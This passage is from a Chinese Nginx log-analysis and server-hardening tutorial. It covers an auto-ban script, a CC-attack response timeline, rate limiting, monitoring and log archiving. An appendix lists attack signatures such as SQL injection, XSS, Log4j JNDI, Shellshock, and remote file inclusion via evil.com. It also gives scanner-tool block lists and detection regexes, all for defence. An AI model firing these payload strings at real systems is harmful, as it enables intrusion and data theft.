NFT_SET="auto_banned"
FREQ_THRESHOLD=200        # 每分钟请求超过此值自动封禁
BAN_DURATION=3600          # 封禁时长(秒)
WHITELIST="127.0.0.1 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16"

# 获取当前分钟的时间标记
CURRENT_MINUTE=$(date '+%d/%b/%Y:%H:%M')

# 确保 nftables 集合存在
if ! sudo nft list set inet filter "$NFT_SET" &>/dev/null; then
    sudo nft add table inet filter 2>/dev/null || true
    sudo nft add set inet filter "$NFT_SET" '{ type ipv4_addr; flags timeout; }' 2>/dev/null || true
    sudo nft add chain inet filter input '{ type filter hook input priority 0; policy accept; }' 2>/dev/null || true
    sudo nft add rule inet filter input ip saddr @"$NFT_SET" drop 2>/dev/null || true
    echo "$(date) [初始化] 创建 nftables 集合 $NFT_SET" >> "$BAN_LOG"
fi

# 检查 IP 是否在白名单中
is_whitelisted() {
    local ip="$1"
    for net in $WHITELIST; do
        if [[ "$ip" == "$net" ]]; then
            return 0
        fi
        # 简单的子网匹配(只处理 /8 /12 /16)
        local prefix="${net%/*}"
        local mask="${net#*/}"
        if [[ "$mask" == "8" ]] && [[ "$ip" == "${prefix%%.*}."* ]]; then
            return 0
        fi
    done
    return 1
}

# ========== 高频 IP 检测 ==========
grep "$CURRENT_MINUTE" "$LOG_FILE" 2>/dev/null | awk '{print $1}' | sort | uniq -c | sort -rn | while read count ip; do
    if [[ "$count" -gt "$FREQ_THRESHOLD" ]]; then
        if is_whitelisted "$ip"; then
            echo "$(date) [跳过] $ip ($count 次/分钟) 在白名单中" >> "$BAN_LOG"
            continue
        fi
        # 检查是否已经被封禁
        if sudo nft list set inet filter "$NFT_SET" | grep -q "$ip"; then
            continue
        fi
        # 封禁
        sudo nft add element inet filter "$NFT_SET" "{ $ip timeout ${BAN_DURATION}s }"
        echo "$(date) [封禁] $ip ($count 次/分钟) 封禁 ${BAN_DURATION}s" >> "$BAN_LOG"
    fi
done

# ========== 恶意请求检测 ==========
grep "$CURRENT_MINUTE" "$LOG_FILE" 2>/dev/null | grep -iE '(union.*select|<script|%3cscript|\.\./|\.env|wp-login|phpinfo|\.git/|jndi|classLoader)' | awk '{print $1}' | sort -u | while read ip; do
    if is_whitelisted "$ip"; then
        continue
    fi
    if sudo nft list set inet filter "$NFT_SET" | grep -q "$ip"; then
        continue
    fi
    # 恶意请求直接封禁更长时间
    sudo nft add element inet filter "$NFT_SET" "{ $ip timeout $((BAN_DURATION * 24))s }"
    echo "$(date) [封禁] $ip (恶意请求) 封禁 $((BAN_DURATION * 24))s" >> "$BAN_LOG"
done

添加到 crontab:

# 每分钟执行一次自动封禁脚本
sudo crontab -e
# 添加以下行:
# */1 * * * * /opt/scripts/auto_ban.sh >> /var/log/auto_ban_cron.log 2>&1

# 查看当前被封禁的 IP
sudo nft list set inet filter auto_banned

# 手动解封某个 IP
sudo nft delete element inet filter auto_banned "{ 103.xx.xx.92 }"

3.4 案例:CC 攻击完整识别和应急处理时间线

这是我实际经历过的一次 CC 攻击的完整处理过程,时间线精确到分钟。

业务背景:电商平台,日常 QPS 约 150,4 台 Nginx 前端 + 8 台 Java 后端,前面有阿里云 SLB。

时间线

2026-03-08 14:32 — 监控告警:prod-web01 CPU 78%(阈值 70%)
2026-03-08 14:33 — SSH 连上 prod-web01,top 查看 Nginx worker 占用高
# 14:33 第一步:确认当前连接数
ss -s
# 输出:TCP: 31247 (estab 28103, closed 2144, orphaned 89, timewait 1001)
# 正常情况 ESTABLISHED 在 2000-3000,现在 28000+

# 14:34 第二步:快速看一下最近的日志
tail -100 /var/log/nginx/access.log
# 发现大量来自不同 IP 但 UA 完全相同的请求,全部访问 /api/product/search
# 14:35 第三步:统计过去 5 分钟的高频 IP
awk -v start="08/Mar/2026:14:30" '$4 >= "["start {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 输出:
#  4832 103.152.xx.92
#  4217 103.152.xx.115
#  3965 103.152.xx.78
#  3841 45.33.xx.201
#  3529 45.33.xx.189
#  ... (共发现 47 个高频 IP)
# 14:36 第四步:确认攻击目标——全部打向同一个接口
awk -v start="08/Mar/2026:14:30" '$4 >= "["start {print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -5
# 输出:
#  38274 /api/product/search?keyword=test&page=1
#   3421 /api/product/search?keyword=abc&page=2
#   2196 /api/product/search?keyword=xyz&page=1
#    847 /
#    312 /api/user/info

# 全打向搜索接口,而且搜索关键词都是无意义的测试词
# 14:37 第五步:确认 IP 来源
for ip in 103.152.xx.92 103.152.xx.115 45.33.xx.201; do
    echo -n "$ip -> "
    geoiplookup "$ip"
done
# 全部来自越南和俄罗斯的机房 IP

# 14:38 第六步:紧急封禁
# 先封 IP 段——这些 IP 都在 103.152.xx.0/24 和 45.33.xx.0/24 两个段
sudo iptables -I INPUT -s 103.152.0.0/16 -j DROP
sudo iptables -I INPUT -s 45.33.0.0/16 -j DROP
# 14:39 第七步:验证封禁效果
# 等 30 秒后查看连接数
ss -s
# TCP: 8247 (estab 5103, closed 2144, orphaned 89, timewait 911)
# 连接数从 28000 降到 5000,效果明显

# 继续观察是否有遗漏
tail -f /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c
# 发现还有几个漏网的 IP,逐个封禁
# 14:42 第八步:配置 limit_req 限流(防止下次被打)
# 在 nginx.conf 的 http 块中添加
# limit_req_zone $binary_remote_addr zone=search_limit:10m rate=10r/s;
# 在搜索接口的 location 中添加
# limit_req zone=search_limit burst=20 nodelay;

sudo nginx -t && sudo nginx -s reload

# 14:43 第九步:验证业务恢复
curl -o /dev/null -s -w "HTTP Code: %{http_code}, Time: %{time_total}s\n" https://example.com/api/product/search?keyword=test
# HTTP Code: 200, Time: 0.234s
# 响应正常
2026-03-08 14:43 — 业务恢复正常,总处理时间 11 分钟
2026-03-08 15:00 — 配置 fail2ban 自动封禁规则
2026-03-08 16:00 — 联系阿里云开启 DDoS 高防
2026-03-08 17:00 — 完成事故报告

事后复盘的改进措施

  1. 在 SLB 层配置了 CC 防护规则,单 IP 每秒限 20 次
  2. 搜索接口加了 limit_req 限流,单 IP 每秒 10 次
  3. 部署了 fail2ban,自动封禁高频 IP
  4. 在 Grafana 里添加了 QPS 和连接数的告警面板,设置了梯度告警:QPS 超过日常均值 3 倍就预警,超过 5 倍就告警
  5. 搜索接口增加了缓存层,对相同搜索词的查询做 30 秒缓存,就算攻击打穿 Nginx 限流也打不到数据库

四、最佳实践和注意事项

4.1 日志轮转配置

Nginx 日志不做轮转的话,文件会越来越大。我见过一台跑了半年没管的服务器,access.log 单文件 47GB,用 awk 分析一次要跑 20 分钟。

Ubuntu 24.04 默认带 logrotate,但 Nginx 的轮转规则需要手动配置或调整:

# /etc/logrotate.d/nginx
/var/log/nginx/*.log {
    daily                   # 每天轮转
    missingok               # 日志文件不存在也不报错
    rotate 90               # 保留 90 天(等保要求至少 180 天,但本地存 90 天+远端归档)
    compress                # 用 gzip 压缩旧日志
    delaycompress           # 延迟一次再压缩(当天的不压缩,方便实时分析)
    notifempty              # 空文件不轮转
    create 0640 nginx adm   # 新日志文件的权限
    dateext                 # 用日期作为轮转文件后缀
    dateformat -%Y%m%d      # 日期格式:access.log-20260313.gz
    sharedscripts           # 多个日志文件只执行一次脚本
    postrotate
        # 轮转后给 Nginx 发信号重新打开日志文件
        # 用 USR1 信号而不是 reload,不会中断服务
        if [ -f /run/nginx.pid ]; then
            kill -USR1 $(cat /run/nginx.pid)
        fi
    endscript
}

验证轮转配置:

# 测试配置是否正确(不实际执行)
sudo logrotate -d /etc/logrotate.d/nginx

# 手动触发一次轮转(调试用)
sudo logrotate -f /etc/logrotate.d/nginx

# 查看轮转后的文件
ls -lh /var/log/nginx/
# access.log
# access.log-20260312.gz
# access.log-20260311.gz
# ...

关于等保合规的日志保留要求:

  • 等保二级:6 个月
  • 等保三级:6 个月(180 天)

本地存 90 天的压缩日志,超过 90 天的通过 rsync 或 Loki 归档到远端存储。access.log 压缩率大约 10:1,一天 500MB 的日志压缩后只有 50MB,90 天也就 4.5GB。

4.2 ELK vs Loki 日志方案对比

日志只存在本地服务器上是不够的。多台服务器的日志需要集中管理才能做跨机器关联分析。目前主流的两个方案是 ELK(Elasticsearch + Logstash + Kibana)和 Grafana Loki。

对比项 ELK Stack Grafana Loki
索引方式 全文索引(倒排索引) 只索引标签,不索引日志内容
存储成本 高——索引本身就要占用原始数据 1-2 倍的空间 低——存储成本约为 ELK 的 1/10
查询能力 强——支持任意字段的全文搜索和聚合 中——标签过滤 + 正则匹配,不支持全文搜索
查询速度 快(已索引的字段) 标签过滤快,正则扫描在大数据量下慢
部署复杂度 高——ES 集群至少 3 节点,JVM 调优 低——单机就能跑
资源占用 高——ES 至少 4G 内存起步 低——2G 内存可以跑小规模
生态集成 成熟——Beats、APM、SIEM Grafana 生态——Promtail/Alloy 采集
适合场景 需要复杂搜索、合规审计、安全分析(SIEM) 日常运维监控、故障排查、小团队
运维成本 高——分片管理、索引生命周期、JVM GC 调优 低——基本不需要太多运维
学习曲线 高——KQL/Lucene 查询语法 低——LogQL 类似 PromQL,Prometheus 用户上手快

我的建议

  • 团队小于 10 人、服务器小于 50 台:Loki,省心省钱
  • 有安全合规要求、需要 SIEM 能力:ELK,可参考 ELK Stack 的运维部署实践
  • 已经有 Prometheus + Grafana 体系:Loki,天然集成
  • 日志量超过每天 100GB:ELK 在查询性能上更有优势

4.3 Nginx 防护配置

日志分析是事后的,Nginx 本身也有一些配置可以在请求到达后端之前就做过滤和限制。

4.3.1 limit_req 请求速率限制

# 在 http 块定义限流区域
# 按客户端 IP 限流,10m 内存可以存约 16 万个 IP 的状态
limit_req_zone $binary_remote_addr zone=general:10m rate=30r/s;
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
limit_req_zone $binary_remote_addr zone=login:10m rate=3r/s;

# 自定义限流返回的状态码和页面
limit_req_status 429;

# 通用限流——所有请求每秒最多 30 个,允许突发 50 个
server {
    location / {
        limit_req zone=general burst=50 nodelay;
        # ...
    }

    # API 接口限流——每秒最多 10 个
    location /api/ {
        limit_req zone=api burst=20 nodelay;
        proxy_pass http://backend;
    }

    # 登录接口严格限流——每秒最多 3 个,防止暴力破解
    location /api/login {
        limit_req zone=login burst=5 nodelay;
        proxy_pass http://backend;
    }
}

参数解释:

  • rate=10r/s:平均每秒允许 10 个请求
  • burst=20:允许突发 20 个请求排队
  • nodelay:突发请求不排队等待,直接处理或拒绝。不加 nodelay 的话超出 rate 的请求会排队等待

4.3.2 limit_conn 连接数限制

# 在 http 块定义
limit_conn_zone $binary_remote_addr zone=conn_per_ip:10m;
limit_conn_zone $server_name zone=conn_per_server:10m;

server {
    # 每个 IP 最多 50 个并发连接
    limit_conn conn_per_ip 50;
    # 每个虚拟主机最多 10000 个并发连接
    limit_conn conn_per_server 10000;
    # 限速返回 429
    limit_conn_status 429;
    # ...
}

4.3.3 geo 模块 IP 黑名单

# 在 http 块中配置 geo 黑名单
geo $blocked_ip {
    default 0;
    # 手动封禁的 IP 和 IP 段
    103.152.0.0/16  1;
    45.33.0.0/16    1;
    185.220.100.0/24 1;  # Tor 出口节点段
    # 也可以引用外部文件
    include /etc/nginx/conf.d/blocked_ips.conf;
}

server {
    # 如果 IP 在黑名单中,直接返回 444(Nginx 特殊状态码,直接关闭连接不返回任何内容)
    if ($blocked_ip) {
        return 444;
    }
    # ...
}

黑名单文件格式:

# /etc/nginx/conf.d/blocked_ips.conf
# 每行一个 IP 或 CIDR,后面跟值
103.152.100.0/24 1;
45.33.200.0/24   1;
# 可以用脚本自动从 fail2ban 同步

4.3.4 map 模块 UA 过滤

# 在 http 块中配置恶意 UA 过滤
map $http_user_agent $bad_ua {
    default 0;
    # 已知扫描工具
    ~*sqlmap          1;
    ~*nikto           1;
    ~*nmap            1;
    ~*masscan         1;
    ~*dirbuster       1;
    ~*gobuster        1;
    ~*wfuzz           1;
    ~*wpscan          1;
    ~*acunetix        1;
    ~*nessus          1;
    ~*openvas         1;
    ~*burpsuite       1;
    ~*zaproxy         1;
    # 常见恶意爬虫
    ~*scrapy          1;
    ~*python-requests 1;
    ~*libwww-perl     1;
    # 空 UA
    ""                1;
    "-"               1;
}

server {
    if ($bad_ua) {
        return 444;
    }
    # ...
}

注意 python-requests 的问题:如果你的内部系统(监控、健康检查、自动化脚本)用了 Python requests 库,会被误杀。解决方法有两个:

  1. 内部系统自定义 UA:requests.get(url, headers={'User-Agent': 'internal-monitor/1.0'})
  2. map 里加上 IP 白名单的判断——但 map 不支持多条件组合,需要用 set + if 来实现
# 更精细的 UA 过滤——允许内网 IP 使用 python-requests
set $block_ua 0;
if ($http_user_agent ~* "(sqlmap|nikto|nmap|masscan|dirbuster|gobuster)") {
    set $block_ua 1;
}
# 内网 IP 不过滤
if ($remote_addr ~ "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)") {
    set $block_ua 0;
}
if ($block_ua) {
    return 444;
}

4.3.5 阻止敏感路径访问

server {
    # 阻止访问隐藏文件(.env, .git, .htaccess 等)
    location ~ /\. {
        deny all;
        access_log off;
        log_not_found off;
        return 444;
    }

    # 阻止访问备份文件
    location ~* \.(bak|old|orig|save|swp|swo|sql|tar\.gz|zip)$ {
        deny all;
        return 444;
    }

    # 阻止访问 WordPress 相关路径(如果你不是 WordPress 站点)
    location ~* ^/(wp-admin|wp-login\.php|wp-content|xmlrpc\.php) {
        deny all;
        return 444;
    }

    # 阻止访问常见探测路径
    location ~* ^/(phpinfo|phpmyadmin|pma|adminer|console|manager|actuator) {
        deny all;
        return 444;
    }
}

五、故障排查和监控

5.1 日志相关故障排查

5.1.1 日志文件不写入

问题:Nginx 还在跑,但 access.log 文件大小不再增长。

# 检查日志文件描述符
# 找到 Nginx worker 进程的 PID
pgrep -f "nginx: worker"
# 查看该进程打开的文件描述符
ls -la /proc/$(pgrep -f "nginx: worker" | head -1)/fd/ | grep access

# 常见原因 1:logrotate 后没发 USR1 信号
# 现象:旧文件已经被 mv 走了,但 Nginx 还在往已删除的文件写入
sudo kill -USR1 $(cat /run/nginx.pid)

# 常见原因 2:磁盘满了
df -h /var/log
# 如果确认满了,先清理一些旧日志腾出空间
sudo find /var/log/nginx -name "*.gz" -mtime +30 -delete

# 常见原因 3:权限问题
ls -la /var/log/nginx/
# 确保 Nginx worker 进程用户有写权限
sudo chown nginx:adm /var/log/nginx/
sudo chmod 755 /var/log/nginx/

5.1.2 日志格式错误

问题:JSON 格式日志出现格式错误,导致日志收集系统解析失败。

# 批量检查 JSON 格式合法性
cat /var/log/nginx/access.json.log | while IFS= read -r line; do
    if ! echo "$line" | jq . >/dev/null 2>&1; then
        echo "JSON 解析失败: $line"
    fi
done | head -5

# 常见原因:请求 URI 或 UA 中包含特殊字符但没加 escape=json
# 解决方法:确保 log_format 定义时加了 escape=json
# log_format json_log escape=json '{ ... }';

5.1.3 日志量暴增导致磁盘告警

# 查看当前日志大小和增长速度
du -sh /var/log/nginx/*.log

# 查看哪些 URL 贡献了最多日志量(找到日志大头)
awk '{print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -10

# 如果是健康检查或监控探针在刷日志,在 Nginx 配置中关掉这些路径的日志
# location /health {
#     access_log off;
#     return 200 "OK";
# }

# 临时措施:压缩当前日志并重新打开
cd /var/log/nginx
sudo mv access.log access.log.$(date +%Y%m%d%H%M%S)
sudo kill -USR1 $(cat /run/nginx.pid)
sudo gzip access.log.* &

5.1.4 fail2ban 误封导致正常用户无法访问

# 查看所有被封禁的 IP
sudo fail2ban-client status nginx-cc
sudo fail2ban-client status nginx-malicious

# 查看某个 IP 被封禁的原因——查 fail2ban 日志
grep "103.xx.xx.92" /var/log/fail2ban.log

# 解封 IP
sudo fail2ban-client set nginx-cc unbanip 103.xx.xx.92

# 添加永久白名单——在 jail 配置中
# ignoreip = 127.0.0.1/8 ::1 10.0.0.0/8 办公室出口IP

# 调整阈值——如果误封太多,说明阈值太严格
# maxretry = 200   # 调高阈值
# findtime = 60    # 缩短统计窗口

5.2 性能监控

5.2.1 Nginx 状态监控

先开启 stub_status 模块:

# 在 server 块或单独的 server 中配置
server {
    listen 127.0.0.1:8080;
    server_name _;

    location /nginx_status {
        stub_status on;
        # 只允许本地和监控服务器访问
        allow 127.0.0.1;
        allow 10.0.0.0/8;
        deny all;
    }
}

查看状态:

curl http://127.0.0.1:8080/nginx_status
# Active connections: 291
# server accepts handled requests
#  16630948 16630948 31070465
# Reading: 6 Writing: 179 Waiting: 106

各字段含义:

指标 含义 正常范围
Active connections 当前活跃连接数 取决于业务,关注趋势变化
accepts 总共接受的连接数 持续增长
handled 总共处理的连接数 应等于 accepts,不等说明达到了 worker_connections 上限
requests 总共处理的请求数 持续增长
Reading 正在读取请求头的连接数 通常很小
Writing 正在返回响应的连接数 与并发量相关
Waiting 等待新请求的 keepalive 连接数 keepalive 连接池

5.2.2 基于日志的监控指标

用 Prometheus + mtail 或者 nginx-prometheus-exporter 从日志中提取指标:

# 安装 nginx-prometheus-exporter
sudo apt install -y prometheus-nginx-exporter

# 启动(指向 Nginx 的 stub_status 地址)
prometheus-nginx-exporter -nginx.scrape-uri=http://127.0.0.1:8080/nginx_status

如果需要从日志中提取更细粒度的指标(状态码分布、响应时间百分位等),可以用 mtail

# /etc/mtail/nginx.mtail
# mtail 程序——从 Nginx 日志中提取 Prometheus 指标

counter nginx_requests_total by status, method
histogram nginx_request_duration_seconds by uri buckets 0.01, 0.05, 0.1, 0.25, 0.5, 1, 2.5, 5, 10

/^/ {
    # 匹配 main_ext 格式
    /(?P<remote_addr>\S+) - \S+ \[.*\] "(?P<method>\S+) (?P<uri>\S+) \S+" (?P<status>\d+) \d+ ".*" ".*" (?P<request_time>[\d.]+)/ {
        nginx_requests_total[$status][$method]++
        nginx_request_duration_seconds[$uri] = $request_time
    }
}

5.2.3 关键告警规则

如果你用 Prometheus + Alertmanager,下面是一些针对 Nginx 日志分析场景的告警规则:

# /etc/prometheus/rules/nginx_alerts.yml
groups:
  - name: nginx_log_alerts
    rules:
      # 5xx 错误率超过 5%
      - alert: NginxHigh5xxRate
        expr: |
          sum(rate(nginx_requests_total{status=~"5.."}[5m]))
          /
          sum(rate(nginx_requests_total[5m]))
          > 0.05
        for: 2m
        labels:
          severity: critical
        annotations:
          summary: "Nginx 5xx 错误率过高"
          description: "5xx 错误率 {{ $value | humanizePercentage }},超过 5% 阈值"

      # QPS 异常飙升(超过历史同期 3 倍)
      - alert: NginxQPSSpike
        expr: |
          sum(rate(nginx_requests_total[5m]))
          > 3 * sum(rate(nginx_requests_total[5m] offset 1d))
        for: 3m
        labels:
          severity: warning
        annotations:
          summary: "Nginx QPS 异常飙升"
          description: "当前 QPS {{ $value | humanize }},是昨天同期的 3 倍以上"

      # P99 响应时间超过 5 秒
      - alert: NginxSlowResponse
        expr: |
          histogram_quantile(0.99, sum(rate(nginx_request_duration_seconds_bucket[5m])) by (le))
          > 5
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "Nginx P99 响应时间过高"
          description: "P99 响应时间 {{ $value | humanizeDuration }},超过 5s 阈值"

      # 活跃连接数过高
      - alert: NginxHighConnections
        expr: nginx_connections_active > 10000
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "Nginx 活跃连接数过高"
          description: "当前活跃连接数 {{ $value }},超过 10000 阈值"

5.3 日志备份与归档

5.3.1 自动归档脚本

#!/bin/bash
# nginx_log_archive.sh
# 功能:将超过指定天数的 Nginx 日志归档到远端存储
# 用法:每天凌晨 3 点通过 crontab 执行
# 0 3 * * * /opt/scripts/nginx_log_archive.sh

set -euo pipefail

LOG_DIR="/var/log/nginx"
ARCHIVE_DIR="/data/archive/nginx-logs"
REMOTE_SERVER="archive@10.0.1.100"
REMOTE_DIR="/data/nginx-archive/$(hostname)"
KEEP_LOCAL_DAYS=30          # 本地保留 30 天
KEEP_REMOTE_DAYS=180        # 远端保留 180 天(等保要求)

# 创建本地归档目录
mkdir -p "$ARCHIVE_DIR"

# 压缩未压缩的旧日志
find "$LOG_DIR" -name "*.log-*" ! -name "*.gz" -mtime +1 -exec gzip {} \;

# 移动超过 7 天的压缩日志到归档目录
find "$LOG_DIR" -name "*.gz" -mtime +7 -exec mv {} "$ARCHIVE_DIR/" \;

# 同步到远端服务器
rsync -avz --progress "$ARCHIVE_DIR/" "${REMOTE_SERVER}:${REMOTE_DIR}/" \
    --timeout=300 \
    --bwlimit=50000  # 限制带宽 50MB/s,避免影响业务

# 清理本地超过 30 天的归档
find "$ARCHIVE_DIR" -name "*.gz" -mtime +"$KEEP_LOCAL_DAYS" -delete

# 清理远端超过 180 天的归档(通过 SSH 执行)
ssh "$REMOTE_SERVER" "find ${REMOTE_DIR} -name '*.gz' -mtime +${KEEP_REMOTE_DAYS} -delete"

# 记录执行日志
echo "$(date '+%Y-%m-%d %H:%M:%S') 归档完成: 本地 $(du -sh "$ARCHIVE_DIR" | awk '{print $1}'), 已同步到 ${REMOTE_SERVER}" >> /var/log/nginx_archive.log

5.3.2 从归档日志中查询历史数据

# 查询 30 天前的日志——需要先解压
zgrep "103.xx.xx.92" /data/archive/nginx-logs/access.log-20260211.gz

# 统计某个历史日期的请求量
zcat /data/archive/nginx-logs/access.log-20260211.gz | wc -l

# 批量查询多天的数据
for f in /data/archive/nginx-logs/access.log-202602*.gz; do
    count=$(zgrep -c "api/login" "$f" 2>/dev/null || echo 0)
    echo "$f: $count 次登录请求"
done

六、总结

6.1 技术要点回顾

  • 日志格式选择:生产环境建议至少用 main_ext 格式(加上 request_timeupstream_response_time),如果有日志收集系统就用 JSON 格式。escape=json 别忘了加
  • 命令行分析awk + sort + uniq 三件套能应对 90% 的分析场景,熟练到肌肉记忆。大文件用 awk,JSON 格式用 jq,可视化用 GoAccess
  • 恶意请求识别:SQL 注入、XSS、路径遍历、扫描器探测、漏洞利用这五类是最常见的,学会看日志里的关键特征。关注 404 异常集中、状态码分布突变、单 IP 高频请求
  • 自动防护:fail2ban 是最成熟的自动封禁方案,配合 Nginx 自身的 limit_reqlimit_conngeo 黑名单、map UA 过滤,构成多层防线
  • 实时监控:从 tail -f 的简易方案到 Promtail + Loki 的完整方案,根据团队规模选择。告警规则要覆盖 5xx 错误率、QPS 异常、慢请求
  • 日志管理:logrotate 轮转 + rsync 远端归档,本地 30 天 + 远端 180 天,满足等保要求

6.2 日常巡检清单

每天花 5 分钟看一遍这些指标,很多问题能在早期发现:

# 快速日巡脚本——5 分钟搞定
echo "=== 今日请求量 ==="
wc -l /var/log/nginx/access.log

echo "=== 状态码分布 ==="
awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -rn

echo "=== Top5 IP ==="
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -5

echo "=== 5xx 错误 ==="
awk '$9 ~ /^5/ {print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -5

echo "=== 恶意请求数 ==="
grep -ciE '(union.*select|<script|\.\./|\.env|wp-admin|jndi)' /var/log/nginx/access.log || echo 0

echo "=== 磁盘空间 ==="
df -h /var/log | tail -1

6.3 进阶学习方向

  1. WAF(Web 应用防火墙):ModSecurity + OWASP CRS 规则集是开源方案的最佳选择。它能在 Nginx 层面实现更全面的攻击检测和拦截,覆盖 OWASP Top 10 的所有攻击类型。不过 ModSecurity 3.x 的性能开销大约增加 5-15% 的延迟,需要根据业务场景权衡

  2. 机器学习异常检测:用统计方法或简单的 ML 模型分析访问模式,自动识别异常行为。比如基于时间序列的 QPS 异常检测、基于聚类的 IP 行为画像。Elastic SIEM 和 Grafana ML 都提供了开箱即用的异常检测能力

  3. 威胁情报集成:将日志中的恶意 IP 与威胁情报库(AbuseIPDB、OTX、GreyNoise 等)对接,自动识别已知恶意 IP。这比单纯看行为模式更准确。相关的 安全攻防技术 也值得持续关注。

6.4 参考资料


附录

A. 恶意请求特征速查表

攻击类型 日志中的关键特征 URL 编码形式 危险等级
SQL 注入 - OR 型 ' OR '1'='1 %27%20OR%20%271%27=%271
SQL 注入 - UNION 型 UNION SELECT UNION%20SELECT
SQL 注入 - 时间盲注 AND SLEEP(5) AND%20SLEEP%285%29
SQL 注入 - 报错注入 extractvalue( , updatexml( extractvalue%28
SQL 注入 - 堆叠查询 ; DROP TABLE %3B%20DROP%20TABLE 严重
XSS - script 标签 <script>alert(1)</script> %3Cscript%3Ealert(1)%3C/script%3E
XSS - 事件触发 onerror=alert(1) onerror%3Dalert%281%29
XSS - JS 协议 javascript:alert(1) javascript%3Aalert%281%29
路径遍历 ../../etc/passwd %2e%2e%2f%2e%2e%2fetc/passwd
路径遍历 - 双重编码 %252e%252e/ 已经是编码形式
文件包含 - 远程 ?page=http://evil.com/shell 直接出现在 URL 中 严重
文件包含 - PHP 协议 php://filter/convert.base64-encode php%3A//filter/
SSRF ?url=http://169.254.169.254 直接出现在 URL 中 严重
SSRF - 内网探测 ?url=http://127.0.0.1:6379 直接出现在 URL 中
Log4j (CVE-2021-44228) ${jndi:ldap:// %24%7Bjndi%3Aldap%3A// 严重
Log4j - 混淆绕过 ${${lower:j}ndi: 各种变体 严重
Spring4Shell class.module.classLoader 直接出现在参数中 严重
ThinkPHP RCE invokefunction&function=call_user_func_array 直接出现在 URL 中 严重
Shellshock () { :; }; %28%29%20%7B%20%3A%3B%20%7D%3B 严重
.env 泄露 GET /.env 直接出现在 URL 中
Git 泄露 GET /.git/config 直接出现在 URL 中
备份文件泄露 GET /backup.sql 直接出现在 URL 中
WordPress 探测 GET /wp-admin/ 直接出现在 URL 中
phpinfo 探测 GET /phpinfo.php 直接出现在 URL 中
管理后台探测 GET /admin/ , /manager/html 直接出现在 URL 中

B. awk 命令速查集

# ===================== IP 相关 =====================

# 统计 IP 请求量 Top20
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20

# 统计某 IP 的请求频率(每分钟)
awk -v ip="TARGET_IP" '$1 == ip {print substr($4,2,17)}' access.log | sort | uniq -c

# 统计某 IP 访问的所有 URL
awk -v ip="TARGET_IP" '$1 == ip {print $7}' access.log | sort | uniq -c | sort -rn

# 查找每分钟请求超过 N 次的 IP
awk '{ip=$1; min=substr($4,2,17); key=ip" "min; c[key]++} END {for(k in c) if(c[k]>100) print c[k], k}' access.log | sort -rn

# ===================== URL 相关 =====================

# 统计 URL 请求量 Top20
awk '{print $7}' access.log | sort | uniq -c | sort -rn | head -20

# 统计 URL(去掉查询参数)请求量
awk '{url=$7; gsub(/\?.*/, "", url); print url}' access.log | sort | uniq -c | sort -rn | head -20

# 统计某个 URL 的来源 IP
awk '$7 == "/api/login" {print $1}' access.log | sort | uniq -c | sort -rn

# ===================== 状态码相关 =====================

# 状态码总体分布
awk '{print $9}' access.log | sort | uniq -c | sort -rn

# 某个状态码的请求详情
awk '$9 == 404 {print $1, $7}' access.log | sort | uniq -c | sort -rn | head -20

# 5xx 错误按时间趋势
awk '$9 >= 500 {print substr($4,2,14)}' access.log | sort | uniq -c

# ===================== UA 相关 =====================

# UA 统计 Top20
awk -F'"' '{print $6}' access.log | sort | uniq -c | sort -rn | head -20

# 空 UA 的 IP
awk -F'"' '$6 == "-" || $6 == "" {print}' access.log | awk '{print $1}' | sort | uniq -c | sort -rn

# 特定 UA 的请求
awk -F'"' '/sqlmap|nikto|nmap/ {print $0}' access.log

# ===================== 时间相关 =====================

# QPS(每秒请求量)
awk '{print substr($4,2,20)}' access.log | sort | uniq -c | sort -rn | head -10

# QPM(每分钟请求量)
awk '{print substr($4,2,17)}' access.log | sort | uniq -c | sort -rn | head -10

# 某个时间段的请求
awk '$4 >= "[13/Mar/2026:14:00" && $4 <= "[13/Mar/2026:15:00"' access.log

# ===================== 响应时间相关(需要 main_ext 格式) =====================

# 响应时间 Top20
awk '{print $(NF-3), $7}' access.log | sort -rn | head -20

# 平均响应时间
awk '{sum+=$(NF-3); n++} END {print sum/n}' access.log

# 各 URL 平均响应时间
awk '{u=$7; gsub(/\?.*/, "", u); s[u]+=$(NF-3); c[u]++} END {for(u in s) printf "%.3f %d %s\n", s[u]/c[u], c[u], u}' access.log | sort -rn | head -20

# ===================== 流量相关 =====================

# 总流量(字节)
awk '{sum+=$10} END {printf "%.2f MB\n", sum/1024/1024}' access.log

# 流量 Top URL
awk '{s[$7]+=$10} END {for(u in s) printf "%.2f MB %s\n", s[u]/1024/1024, u}' access.log | sort -rn | head -20

C. 正则表达式参考

以下正则用于 grep -Eawk 中匹配恶意请求:

# ===================== SQL 注入检测正则 =====================

# 综合 SQL 注入正则(URL 编码形式)
SQL_REGEX="(union(\+|%20|/\*.*\*/)(all(\+|%20))?select|or(\+|%20)1(\+|%20)?=(\+|%20)?1|and(\+|%20)1(\+|%20)?=(\+|%20)?1|sleep\(|benchmark\(|extractvalue\(|updatexml\(|load_file\(|into(\+|%20)(out|dump)file|information_schema|%27|%22|--(\+|%20)|%23)"

# 使用示例
grep -iE "$SQL_REGEX" /var/log/nginx/access.log

# ===================== XSS 检测正则 =====================

XSS_REGEX="(<|%3c)(script|img|svg|iframe|body|input|button|div|marquee|object|embed|form|a)(\s|%20|>|%3e|/|%2f)|javascript(\:|%3a)|on(error|load|click|mouseover|focus|blur|submit|change|keydown|keyup)(\s|%20)?="

grep -iE "$XSS_REGEX" /var/log/nginx/access.log

# ===================== 路径遍历检测正则 =====================

TRAVERSAL_REGEX="(\.\.(/|%2f|\\\\|%5c)|%2e%2e(%2f|%5c)|%252e%252e(%252f|%255c))"

grep -iE "$TRAVERSAL_REGEX" /var/log/nginx/access.log

# ===================== 扫描器探测正则 =====================

